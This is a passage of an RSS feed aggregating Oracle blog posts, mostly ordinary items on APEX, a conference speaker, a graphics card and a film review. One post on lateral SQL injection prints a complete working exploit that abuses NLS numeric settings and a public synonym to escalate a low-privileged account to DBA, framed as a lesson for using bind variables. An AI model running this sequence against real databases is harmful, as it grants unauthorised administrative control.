background-origin: initial; background-position: 0% 3px; background-repeat: no-repeat no-repeat; padding-bottom: 4px; padding-left: 17px; padding-right: 0px; padding-top: 0px;"><a href="http://dgielis.blogspot.com/2012/02/e-business-suite-and-apex-integration_03.html" >E-Business Suite and APEX integration using Views</a></li><li style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://dgielis.gg-design.be/blog/icon_list_item.gif); background-origin: initial; background-position: 0% 3px; background-repeat: no-repeat no-repeat; padding-bottom: 4px; padding-left: 17px; padding-right: 0px; padding-top: 0px;"><a href="http://dgielis.blogspot.com/2012/02/e-business-suite-and-apex-integration.html" style="color: #666666;" >E-Business Suite and APEX integration (overview)</a></li><li style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://dgielis.gg-design.be/blog/icon_list_item.gif); background-origin: initial; background-position: 0% 3px; background-repeat: no-repeat no-repeat; padding-bottom: 4px; padding-left: 17px; padding-right: 0px; padding-top: 0px;"><a href="http://dgielis.blogspot.com/2012/01/e-business-suite-and-apex-installation.html" style="color: #666666;" >E-Business Suite and APEX installation</a></li><li style="background-attachment: initial; background-clip: initial; background-color: initial; background-image: url(http://dgielis.gg-design.be/blog/icon_list_item.gif); background-origin: initial; background-position: 0% 3px; background-repeat: no-repeat no-repeat; padding-bottom: 4px; padding-left: 17px; padding-right: 0px; padding-top: 0px;"><a href="http://dgielis.blogspot.com/2012/01/apex-and-e-business-suite-integration.html" style="color: #666666;" >APEX and E-Business Suite integration</a>&nbsp;(OBUG event)</li></ul><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21122514-1246901616587989013?l=dgielis.blogspot.com' alt='' /></div><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:63t7Ie-LG7Y"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=63t7Ie-LG7Y" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:dnMXMwOfBR0"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=dnMXMwOfBR0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?i=6ZkmYOj4T5A:t_SqJZOFsL0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:KwTdNBX3Jqk"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?i=6ZkmYOj4T5A:t_SqJZOFsL0:KwTdNBX3Jqk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:l6gmwiTKsz0"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=l6gmwiTKsz0" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?i=6ZkmYOj4T5A:t_SqJZOFsL0:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/DimitriGielisBlog?a=6ZkmYOj4T5A:t_SqJZOFsL0:TzevzKxY174"><img src="http://feeds.feedburner.com/~ff/DimitriGielisBlog?d=TzevzKxY174" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://dgielis.blogspot.com/feeds/1246901616587989013/comments/default</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="" length="" type="" />
		</item>
		<item>
		<title>Oracle Query Optimizer Vanishing Acts</title>
		<link>http://hoopercharles.wordpress.com/2012/02/03/oracle-query-optimizer-vanishing-acts/</link>
		<comments>http://hoopercharles.wordpress.com/2012/02/03/oracle-query-optimizer-vanishing-acts/#comments</comments>
		<pubDate>Sat, 04 Feb 2012 03:51:46 +0000</pubDate>
		<dc:creator>Charles Hooper</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://hoopercharles.wordpress.com/?p=5999</guid>
		<description><![CDATA[February 3, 2012 A couple of days ago I noticed an interesting thread in the comp.databases.oracle.server Usenet group that described a problem of vanishing tables.  The title of the thread certainly caught my attention, and I was a bit disappointed ...]]></description>
			<content:encoded><![CDATA[February 3, 2012 A couple of days ago I noticed an interesting thread in the comp.databases.oracle.server Usenet group that described a problem of vanishing tables.  The title of the thread certainly caught my attention, and I was a bit disappointed when I found that the there was little to no magic involved in the vanishing act.  The situation reported [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hoopercharles.wordpress.com&amp;blog=10738606&amp;post=5999&amp;subd=hoopercharles&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hoopercharles.wordpress.com/2012/02/03/oracle-query-optimizer-vanishing-acts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://1.gravatar.com/avatar/feb0aae889ae283c65d94de211e7f8d9?s=96&amp;amp;d=identicon&amp;amp;r=G" length="" type="" />
		</item>
		<item>
		<title>All about Security &#8211; SQL Injection redux</title>
		<link>http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection-redux.html</link>
		<comments>http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection-redux.html#comments</comments>
		<pubDate>Fri, 03 Feb 2012 19:53:24 +0000</pubDate>
		<dc:creator>Thomas Kyte</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=548619aa2bc6f602e2dea22f13e7fada</guid>
		<description><![CDATA[I just wrote about SQL Injection yesterday - after having giving a web seminar on Wednesday the touched on the topic.One of the comments on that post was by David Litchfield, he wrote:Hey Tom,Funnily enough I just published a paper about doing the same...]]></description>
			<content:encoded><![CDATA[I just<a href="http://tkyte.blogspot.com/2012/02/all-about-security-sql-injection.html"> wrote about SQL Injection</a> yesterday - after<a href="http://event.on24.com/r.htm?e=390461&amp;s=1&amp;k=5F30645E675CBF55C8BDED9F3D28AE69&amp;partnerref=blog1_sec_dbsecmulti"> having giving a web seminar on Wednesday</a> the touched on the topic.<br /><br />One of the comments on that post was by David Litchfield, he wrote:<br /><blockquote class="tr_bq"><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">Hey Tom,</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">Funnily enough I just published a paper about doing the same thing with NUMBER concatenations. This was an addendum to a paper I wrote in 2008 on exploit DATE concatenations - the same problem you discuss here. You can get the recent paper here: <a href="http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers">http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers</a> and the first paper here: <a href="http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf">http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf</a></span></blockquote><div style="text-align: left;"><span style="color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; font-size: x-small;"><span style="line-height: 18px;"><br /></span></span></div>I read that new paper and learned something new (actually, much like David - I was kicking myself because I should have been able to see this problem coming as well. &nbsp;It is just a variation on a theme after all). &nbsp;In that paper, he demonstrates how to exploit a SQL Injection flaw using NLS settings with numbers. &nbsp;That is something I hadn't considered before. &nbsp;NLS settings for numbers are different than for dates. &nbsp;With a date, I can set the format string to have any string of characters I want. &nbsp;With numbers - you are very much restricted. On the face of it - it doesn't look like you can exploit a SQL Injection flaw with numbers like you can with dates.<br /><br />But - you can. &nbsp;Just not as flexibly. &nbsp;But the end result can be as&nbsp;disastrous. <br /><br />One of the follow on comments to this posting by David was:<br /><br /><blockquote class="tr_bq"><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">the problem David mentions in&nbsp;</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;"><a href="http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers">http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers</a>&nbsp;</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">only arises since NUM_PROC is owned by SYS,</span><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">as far as I can see, correct ?</span>&nbsp;</blockquote><blockquote class="tr_bq"><span style="background-color: white; color: #333333; font-family: 'Trebuchet MS', Verdana, Arial, sans-serif; line-height: 18px; text-align: left;">So, it's not really a problem since nobody ever does something as SYS, correct.</span></blockquote><br />In his example, David used SYS to demonstrate with - which could lead people to believe "ah, it needs SYS to exploit this flaw". &nbsp;But - it doesn't. &nbsp;All it requires is an account with these privileges:<br /><ul><li>Create session</li><li>Create procedure</li><li>Create public synonym &lt;&lt;&lt;=== these guys are evil! &nbsp;Should be avoided</li></ul><div>And another schema that has the ability to GRANT stuff - like DBA. &nbsp;It doesn't have to be DBA, it could be any privilege they have the ability to grant.</div><div><br /></div><div>Here is how to exploit the flaw. &nbsp;First - read David's paper to get the background on the 'P ' NLS_NUMERIC_CHARACTERS. &nbsp;Then you'll understand how:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; select .1 from dual;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; .1</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">----------</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; P1</span></div><div><br /></div></div><div>works. &nbsp;Once you have mastered that, all we need to do to exploit this type of SQL Injection flaw is this. &nbsp;I'll have a DBA schema containing a procedure that uses dynamic SQL with string concatenation and a number as an input:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; create or replace procedure do_something( l_num in number )</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 2 &nbsp;as</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 3 &nbsp; &nbsp; &nbsp;l_query &nbsp;long;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 4 &nbsp; &nbsp; &nbsp;l_cursor sys_refcursor;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 5 &nbsp; &nbsp; &nbsp;l_rec &nbsp; &nbsp;all_users%rowtype;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 6 &nbsp;begin</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 7 &nbsp; &nbsp; &nbsp;l_query := '</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 8 &nbsp; &nbsp; &nbsp; select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 9 &nbsp; &nbsp; &nbsp; &nbsp; from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;10 &nbsp; &nbsp; &nbsp; &nbsp;where user_id = ' || l_num;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;11 &nbsp; &nbsp; &nbsp;dbms_output.put_line( l_query );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;12 &nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;13 &nbsp; &nbsp; &nbsp;open l_cursor for l_query;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;14 &nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;15 &nbsp; &nbsp; &nbsp;loop</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;16 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fetch l_cursor into l_rec;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;17 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exit when l_cursor%notfound;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;18 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;dbms_output.put_line( 'username = ' ||&nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;l_rec.username );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;19 &nbsp; &nbsp; &nbsp;end loop;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;20 &nbsp; &nbsp; &nbsp;close l_cursor;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;21 &nbsp;end;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp;22 &nbsp;/</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Procedure created.</span></div></div><div><br /></div><div>Then, we'll have our account with the small set of privileges:</div><div><br /></div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; create user a identified by a;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">User created.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; grant create session, create procedure,</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; create public synonym to a;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Grant succeeded.</span></div></div><div><br /></div><div><br /></div><div>and we'll allow it to access this procedure - just like in my original SQL Injection article:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; grant execute on do_something to a;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Grant succeeded.</span></div></div><div><br /></div><div>Ok, so now we'll log in as A and run the procedure to see what it does:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">ops$tkyte%ORA11GR2&gt; connect a/a</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Connected.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt;&nbsp;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; exec ops$tkyte.do_something( 5 );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp;select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp;from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; where user_id = 5</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">username = SYSTEM</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">PL/SQL procedure successfully completed.</span></div></div><div><br /></div><div><br /></div><div>Now, we suspect it might use string concatenation - so we'll create a function that might be able to exploit this:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; create or replace function foobar return number</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 2 &nbsp;authid current_user</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 3 &nbsp;as</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 4 &nbsp; &nbsp; &nbsp;pragma autonomous_transaction;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 5 &nbsp;begin</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 6 &nbsp; &nbsp; &nbsp;execute immediate 'grant dba to a';</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 7 &nbsp; &nbsp; &nbsp;return 5;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 8 &nbsp;end;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; 9 &nbsp;/</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Function created.</span></div></div><div><br /></div><div>And then set up our public synonym for it and allow others to execute it:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; create public synonym p1 for foobar;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Synonym created.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; grant execute on foobar to public;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Grant succeeded.</span></div></div><div><br /></div><div><br /></div><div>and now for the magic:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; alter session set nls_numeric_characters = 'P ';</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Session altered.</span></div></div><div><br /></div><div>and viola:</div><div><br /></div><div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; set role dba;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">set role dba</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">*</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">ERROR at line 1:</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">ORA-01924: role 'DBA' not granted or does not exist</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; exec ops$tkyte.do_something( .1 );</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp;select *</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; &nbsp;from all_users</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">&nbsp; &nbsp; &nbsp; where user_id = P1</span></div><div><span style="font-family: 'Courier New', Courier, monospace;">username = SYSTEM</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">PL/SQL procedure successfully completed.</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">a%ORA11GR2&gt; set role dba;</span></div><div><span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div><div><span style="font-family: 'Courier New', Courier, monospace;">Role set.</span></div></div><div><br /></div><div><br /></div><div>I have DBA...</div><div><br /></div><div>SQL Injection is insidious. &nbsp;SQL Injection is hard to detect. &nbsp;SQL Injection can be avoided - <i style="font-weight: bold;">by simply using bind variables.</i>&nbsp; In the event a bind variable is not possible for some provable technical reason (and those events are few and far far far in between) you have to critically review that code over and over and try to think of every way it could be exploited. &nbsp;The problem with that however is that before yesterday - I would have looked at this code and might have said "this looks ok". &nbsp;</div><div><br /></div><div>It is really hard to protect yourself from something you cannot see.<br /><br /><b><i><u><br /></u></i></b><br /><u style="font-style: italic; font-weight: bold;">Updated a little later:</u>&nbsp;Let me also say this:<br /><br />If you use static sql in plsql - your code in plsql cannot be sql injected, period. &nbsp;It is not possible. &nbsp;The only way to get sql injected in plsql is to use dynamic sql - that is the only time. &nbsp;So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:<br /><br />a) write your SQL code in PL/SQL<br />b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database<br /><br />If you do that - no SQL Injection attacks are possible. &nbsp;</div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-3428729923719611696?l=tkyte.blogspot.com' alt='' /></div>]]></content:encoded>
			<wfw:commentRss>http://www.oracle-base.com/aggregator/2012/02/03/all-about-security-sql-injection-redux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hotsos Symposium 2012 Speaker Spotlight &#8211; Doug Gault</title>
		<link>http://hotsoseducation.blogspot.com/2012/02/hotsos-symposium-2012-speaker-spotlight.html</link>
		<comments>http://hotsoseducation.blogspot.com/2012/02/hotsos-symposium-2012-speaker-spotlight.html#comments</comments>
		<pubDate>Fri, 03 Feb 2012 18:53:00 +0000</pubDate>
		<dc:creator>Becky</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/aggregator/?guid=e0dacadcd631581f19f5bdd46652fb59</guid>
		<description><![CDATA[Doug Gault is returning to Hotsos Symposium 2012.  Doug is an entertaining speaker who focuses on Oracle's Application Express.  Doug Gault is a Director &#38; Co-Founder at Sumneva, a world-class Oracle Application Express (APEX) consulting, training &#38; so...]]></description>
			<content:encoded><![CDATA[<a href="http://3.bp.blogspot.com/-QAww2q5VHqQ/TywupWsH5kI/AAAAAAAABrg/2W46iaN5jck/s1600/Doug_Gault.gif"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 250px; height: 242px;" src="http://3.bp.blogspot.com/-QAww2q5VHqQ/TywupWsH5kI/AAAAAAAABrg/2W46iaN5jck/s320/Doug_Gault.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5704986115971737154" /></a><p>Doug Gault is returning to <a href="http://www.hotsos.com/sym12.html">Hotsos Symposium 2012</a>.  Doug is an entertaining speaker who focuses on Oracle's Application Express.  Doug Gault is a Director & Co-Founder at Sumneva, a world-class Oracle Application Express (APEX) consulting, training & solutions firm founded in 2010. He has been working with Oracle since 1988, starting with version 5.1B, SQL*Forms 2.0 and RPT/RPF. Since then he has focused his career on Oracle's development technologies, spending the last decade on web based technologies, and the last 5 years specifically on APEX.  Prior to co-founding Sumneva, Gault was Vice President of Sumner Technologies, which also focused on Oracle APEX consulting, training & solutions. Before that he served as the Product Development Director for Hotsos Enterprises, during which time he was the lead architect/developer and product manager for two commercial products written in exclusively in APEX. His 21 years of Oracle experience has taken him all over the world and involved him in some truly ground-breaking projects.  Gault has presented and participated in round table discussions at a number of conferences including Oracle OpenWorld, UKOUG and ODTUG's APEXposed. He holds an Associates Degree in Computer Science, and an honorary Master's Degree from The School of Hard Knocks, believing there is no replacement for hard earned experience.</p><p><b>Topic:</b>  <em>Capturing Performance Data for Interesting APEX Processes</em></p><p><b>Description:</b> One of the features of Oracle Application Express 4 is the much improved debug information now stored in the dictionary views. This data can be used to track, monitor, and identify performance trends across your APEX application. The trick is capturing instances of this information for interesting APEX processes programmatically. This session will introduce the idea of using APEX Debug data for performance trending, the techniques and information necessary for you to mine the Oracle Application Express 4 debug data, and methods for programmatically capturing runs deemed as "interesting".</p><p>If you're into ApEx, you won't want to miss Doug's presentation.  <a href="http://www.hotsos.com/sym12/sym_reg.html">Sign up</a> today before the price goes up on Feb 11, 2012.</p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3042653634058484696-634792818683609613?l=hotsoseducation.blogspot.com' alt='' /></div>]]></content:encoded>
			<wfw:commentRss>http://hotsoseducation.blogspot.com/feeds/634792818683609613/comments/default</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="" length="" type="" />
		</item>
		<item>
		<title>Captain Support: Not to the rescue…</title>
		<link>http://feedproxy.google.com/~r/TheOracleBaseBlog/~3/Bgtok_iuPog/</link>
		<comments>http://feedproxy.google.com/~r/TheOracleBaseBlog/~3/Bgtok_iuPog/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 17:24:29 +0000</pubDate>
		<dc:creator>Tim...</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/blog/?p=2491</guid>
		<description><![CDATA[This morning, the display on one of my computers was a bit odd. I rebooted the machine and when it came up I got no output on the monitor. I plugged my laptop into the monitor and that worked fine, so it looked like the graphics card had died. I popped down to a local [...]]]></description>
			<content:encoded><![CDATA[<p>This morning, the display on one of my computers was a bit odd. I rebooted the machine and when it came up I got no output on the monitor. I plugged my laptop into the monitor and that worked fine, so it looked like the graphics card had died. I popped down to a local PC store and had the choice of remortgaging my house for new graphics card, or buying a cheap and cheerful one. I did the latter. Even so, the new card was much flasher than the old one.</p>
<p>I put the card in the machine and it booted up and I had a display again. Trouble was, GNOME shell had failed to start and I was knocked back into fallback mode, that looks a bit like GNOME2. Sigh. Forgot to check the the card against support for the ever-so-picky GNOME shell.</p>
<p>I now have a choice to make:</p>
<ul>
<li>Ditch it and get a new graphics card&#8230; again&#8230;</li>
<li>Switch to KDE or XFCE&#8230; shudder&#8230;</li>
<li>Stay with the fallback option until Fedora 17, when allegedly GNOME shell will not be so bloody fussy.</li>
</ul>
<p>I&#8217;m probably going to stick with the last option as I can&#8217;t be bothered to waste any more time on this. All of a sudden, Windows and Mac OS X don&#8217;t seem so bad after all&#8230;</p>
<p>Cheers</p>
<p>Tim&#8230;</p>
<p>PS. I don&#8217;t need a lecture on why GNOME shell is so picky. I know all the arguments. I&#8217;ve read all the crap. Doesn&#8217;t mean it&#8217;s not a pain in the ass when you buy a newer and more powerful graphics card and you end up with an inferior user experience.</p>

<p><a href="http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/0/da"><img src="http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/1/da"><img src="http://feedads.g.doubleclick.net/~a/ZquZkJCVbVsJYzFfuodl5fQkoXI/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/TheOracleBaseBlog/~4/Bgtok_iuPog" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.oracle-base.com/blog/2012/02/03/captain-support-not-to-the-rescue/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chronicle…</title>
		<link>http://feedproxy.google.com/~r/TheOracleBaseBlog/~3/wWcUNtcgjFU/</link>
		<comments>http://feedproxy.google.com/~r/TheOracleBaseBlog/~3/wWcUNtcgjFU/#comments</comments>
		<pubDate>Fri, 03 Feb 2012 16:16:02 +0000</pubDate>
		<dc:creator>Tim...</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.oracle-base.com/blog/?p=2486</guid>
		<description><![CDATA[I thought Chronicle was a cool film. Three kids find some weird object and develop super powers. How will it affect them and how will they choose to use them? It has the &#8220;shot on my camcorder&#8221; feel, like Cloverfield, and has a kind of Akira feel to me. While I was watching it I [...]]]></description>
			<content:encoded><![CDATA[<p>I thought <a href="http://www.imdb.com/title/tt1706593/">Chronicle</a> was a cool film. Three kids find some weird object and develop super powers. How will it affect them and how will they choose to use them?</p>
<p>It has the &#8220;shot on my camcorder&#8221; feel, like <a href="http://www.imdb.com/title/tt1060277/">Cloverfield</a>, and has a kind of <a href="http://www.imdb.com/title/tt0094625/">Akira</a> feel to me. While I was watching it I kept expecting someone to say, &#8220;With great power comes great responsibility!&#8221; <img src='http://www.oracle-base.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The effects are pretty cool. At the start they look like they are going to be a bit low budget, but by the end they get pretty impressive.</p>
<p>Nice mix of teen angst, super powers and destruction. Obviously not targeted for 42 year old men, but it hit the mark for me. I guess that says a lot. <img src='http://www.oracle-base.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Cheers</p>
<p>Tim&#8230;</p>

<p><a href="http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/0/da"><img src="http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/1/da"><img src="http://feedads.g.doubleclick.net/~a/7ggY0sg34vTXayngpFTnh8vpPY4/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/TheOracleBaseBlog/~4/wWcUNtcgjFU" height="1" width="1"/>]]></content:encoded>
